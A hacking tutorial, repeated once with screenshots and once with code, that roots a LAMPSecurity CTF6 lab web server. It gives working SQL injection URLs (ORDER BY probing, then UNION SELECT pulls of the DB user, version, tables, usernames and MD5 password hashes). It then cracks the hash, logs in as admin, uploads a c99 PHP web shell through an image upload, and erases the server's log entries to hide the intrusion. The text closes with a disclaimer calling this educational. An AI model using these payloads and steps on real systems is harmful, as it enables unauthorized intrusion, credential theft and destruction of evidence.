Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vZvKf_zfsk8aUYPEPZzap-L_bftXNzyXBElX7GCp0mvEQh4iGkm9crzJW4NjJHkzz5V8DYFZk3V7PkaOqiUJU_KTUyFtY0pEZ7J_JXN4xdJxNyWo_pxPhi83I-t8bt7rVGIr4oKnw-Pg93n5IPvwwZ1lJYOksxqDiXHPXioT6V_rxA=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vhHF5LAlld3y_WsLg_JQz_yP2gb7JOZ89EYIMBzL90rUemWcnG5VDp2H9LINzyARZMNtdBMx12IaofyoeyXUSQ6BECrNkMWihhmOI4-zO1lXjz3c286qG5lrQVB-hiUtq9ntfbAp-eqjkOtg_Ov5bHgeCVKPdBmAB554-DW4VGY-X-oA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXpUccpbLogpB_zMFCUwA_NKdfKQBVDKYuMRG2gEKsU2IclWa0XATHyHu57cfhlyYInJkb_EkQhxQPzqLzd5kLUJTOJMIyQyrK4Ar6OPsinUsSNcPzffPngDpZQl2OlDoP3D_FNtibsqUWlqhmN57zmrcoXEC6aQCz811ec8wUZBBq4A=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5uXhnCA9pDEZVw51mM651ODj_ZkCgvZIbhiOFHu7VTG5UMdN5ZdJ4UIjpza4VHbGMvZdE16FC_vvAyaSWK7LpORg1UVkT5kW8Yw7T1cE5m2IDrr5w6z2Q7HqLyH2VxtoliLpGLfbfchJA2UugGLQbkxxpMD-vA0gJSo5wZYZ8zhAGxA=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_voyLoilYyvK13UR0J4AmDxjW9FapnpCJIvrdIPsao2nwTW8lslPK3h6HGL_6kytXFdwUl-l-cUeNPZTJgulF9KCEAUIK8nIOi4RK5uNfQoIJcwgeqtAZrclp6L0TeXi_GuQnM-zpc_Dooh7ZmEO9v_MeRizKdxT86LYG0jV74qFcIbnQ=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5IXD1p8IpxWDBGyNsfQVYnvpIGtkA6tJNIfyh1KsJXEOSCZZfvnQXJ1cQuflQUByU3e9eFun5LSHhQJkgRmBwN2Pj9KHTVx901jVLZ3xJew7E-QprCKL1qj1hN9YFX4aIKcp1sifdfW4ACmZ7dhgab7VK1J9BQgwlwKizfW9RhPlZ=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v69OZS4Eit3w8fYuPXKcs8hZRcuHVvyFq4-NGi0eOyakRKPMTPum01vVKmk7XiaK_ircbCfo-GabQ9BGXoElzTO9hYFfdFYtkd3R3D7IbrgMBU1MVvln1mlf1j0sBXMEAjMvWZSa6xgaXYxoib5vsP12fasp_mD9ydECWRaEO8i2E8bLw=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tB2Wdou1OsJNIk4MST6fzj8y1yTFqXAuPFFi78UBLH25uOGohaDa8KlVhdes1-Tv6XZihb8rtLxXEzdg3M6eC5ZCzbz1Yqvf6jXoKqyvphSCElcur19UFpPmLd8SIMwQ4Heo1r3qPmKbJSbMLCpDdAOyThkrw7U3ctE6eG087V0gcYwNI=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_txOqcuAEDGYS0SeV_PUOPxY7J4ikGrBCqAJKG1dI16qcGZM2nE1rQuBBdCZatPF_d7q-d1eHUtRw-Objs8iu-k1pb_9alhhvYHtXbtfIUX1zm-H5bWpv-wsn354I0TDD4JuoUmlH3LX2uZ8GBGMHg0DLKVlHqXEsI353VmGyttjFiLcKg=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_selyvopTa9lp-JukSfCDCOp97BWKJA2ztZaFKtGHL1wAZXWNLplLCR7p43H2MlcQg_R8-7vZTO6orzemPMQfhpMLdvJyYHYo_dC_dpyntEViscO2ON1ClvsxOh01M3REvs5klIVEjnC-R2qAqdI3PcRpIkUUEenaI5mQqXZM0vaieGZwY=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_scd0crSfLgu5ofuxggjyA4Qd4-D9flXJ8uayZgME57lzW1nGE5PLMv7oOnwJULvl7IWrHN87Yy_gRA9L5OYPId7qZTwTFBmi5r8420d28Qklr8UFjgQlI4TdZrIPdOln-bjENSNJbNKrmxjTOCg1qUKY3ttDR6q3cwvit2C5TJfxwcgw=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uYrEAJEGb3NADfAoFrewnK80g7A1LZhMhFp5arTb8SXLsgLNAynESp4YE4rPhzYBWzzc796qk_D1GWe2dShGEErR3ceMGWlbh-Y8T_5Ndk8FC8kv649W_s83nQ9KlenQGtrkRGML-CVs20iuWvasp2x_7sWatdW8js2ebvlbUuzfn4dm8=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vc4emR_GU_xCZEZHjhbXqMTlG0--fDFLowN14f9XZdhyBYu6ebY10YR_7gALUJ4I0nm9tpuW-lrzsSgOgBvv3t2UqfymQ_GehrpuUaiI6eP5GvDl5CLq0cDmsQFKelxflbDwFmDJY2XGr0lpZ3aSlgK7cXrvkx7WvSk6gZMv4Hqrhu678=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vE3gvdp1m3EBFHMYjpcyCw2M0FPPmOe_cWao1sjBgss8rTf32Df9hxCEtqyWwBhQCGH8sIeDBqOv5S4y1cLf_RydZqw2pRUMz0I5LocX25CvxQES7SaJEqCIZleYqa_GOjWcxsbsDj6A7Ni21hAJwEBcfb72_zx-2Nr0c5zNctTiUVXg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_shhUSbYZ6CN4OJgfpwpwkcEWAIlbgffgG8CDQ7Ra0L_WrYdyjrjJKgx3dZkzAUM_wC5BBcX0ylhWcberOkJdGIIE15pr_IYeeYcYbs6pHq5Dh-iCApKX6c88QfpiZEcC7kPf5rJWUWmGgg802VgFVv-BJsfzhz0flmd7HYIouS0rVdSw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sD9ACaIvRP7AvtbvoXVucGcJs6kVefpyxAmGcivVzwzweunxf__w4YrZbC4Q9ra1GobJqbyHCXEw-oSg7de8p4yW9iG3LV0n2tYmUVYGhcDhyJr52-Os9YELqbcEQBSBJ8U_dRF0X2xOhj2DeBGAFjF4hOqq8Dxe5le6bBojqlgbwz4Zc=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_utPMDAtX1grM2TG1wqJ1iD8XiX2yslVYYVwqRpZMdQeI1twsDCim9DSllciYaLRS0A6zV05ZTj0lMVOs5P1lN8iOEyMnF4G8Mzu-Cdf1QPBLm2aRdgQ61HxWzPWYlGFjcvW88h8_zU79X4A24dbU1vh5tpLXgzo1FXUZJF3qEBbbmKSOo=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.